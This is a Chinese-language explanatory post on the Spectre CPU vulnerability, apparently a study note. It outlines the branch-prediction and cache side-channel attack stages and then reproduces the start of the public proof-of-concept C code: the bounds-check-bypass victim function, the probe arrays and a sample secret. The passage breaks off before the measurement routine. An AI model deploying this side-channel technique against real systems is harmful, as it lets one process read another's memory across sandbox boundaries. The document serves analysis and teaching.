Intel spetre漏洞解析 代码解析

熔炉原理

当CPU发现分支预测错误时会丢弃分支执行的结果，恢复CPU的状态，但是不会恢复CPU Cache的状态，利用这一点可以突破进程间的访问限制（如浏览器沙箱）获取其他进程的数据。

具体攻击过程可以分为三个阶段：

1）训练CPU的分支预测单元使其在运行利用代码时会进行特定的预测执行

2）预测执行使得CPU将要访问的地址的内容读取到CPU Cache中

3) 通过缓存测信道攻击，可以知道哪一个数组元素被访问过，也即对应的内存页存放在CPU Cache中，从而推测出地址的内容。
重要代码部分
下个函数 是越权访问的关键，普通情况下会只在x

void victim_function(size_t x)
{
    if (x < array1_size)
    {
        temp &= array2[array1[x] * 512];
    }
}

以下是源代码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

 uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
/*通过预测机制，读取违规数据进入cache*/
 void victim_function(size_t x) {
 if (x < array1_size) {
 temp &= array2[array1[x] * 512];
 }
 }


 /********************************************************************
32 Analysis code
33 ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

 /* Report best guess in value[0] and runner-up in value[1] */
 /*readmemory训练多次，调用victim function（），每6次一个攻击，由于前面训练结果，或导致victim——function预测，将违规数据（x>array1_size）缓存到cache中，t推测代码通过 FLUSH=PROBE推测刚刚违规操作的位置，确定array2[x]的值,造成泄漏*/
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[